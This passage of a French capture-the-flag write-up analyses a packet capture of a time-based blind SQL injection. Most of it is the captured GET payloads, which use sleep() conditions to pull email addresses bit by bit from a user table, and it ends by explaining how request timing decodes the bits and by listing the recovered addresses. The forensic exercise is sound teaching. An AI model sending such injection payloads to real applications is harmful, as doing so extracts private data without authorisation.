1 offset 2), 8,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 8,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 8,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 8,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 8,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 8,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 8,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 8,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 9,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 9,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 9,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 9,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 9,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 9,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 9,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 9,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 10,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 10,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 10,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 10,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 10,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 10,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 10,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 10,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 11,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 11,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 11,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 11,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 11,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 11,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 11,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 11,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 12,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 12,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 12,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 12,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 12,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 12,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 12,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 12,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 13,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 13,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 13,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 13,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 13,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 13,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 13,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 13,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 14,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 14,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 14,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 14,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 14,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 14,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 14,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 14,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
En analysant le code on constate qu'on itère sur les 8 bits puis que n caractères.
Il y a aussi une commande sleep. Donc, si la condition est vraie, le serveur PHP va attendre une seconde à chaque fois. Si on détermine le délai relatif entre chaque requête GET, on constate qu'il y a un délai variable entre 0s et 3s (ce qui signifie que le serveur évalue l'expression 3 fois).
On peut ajouter une nouvelle colonne de type Delta time displayed. On peut maintenant considérer que si la requête a duré 3 secondes, cela correspond à un bit 0.
En convertissant tous les bits, on trouve entre autre 3 adresses mails :
NES user id username password profession courriel admin@webadmin.fr misc.chall.code_835@nes.fr cyabob@bob.fr
curiosite/challenge/nes.txt · Dernière modification : 2020/05/10 23:40 de root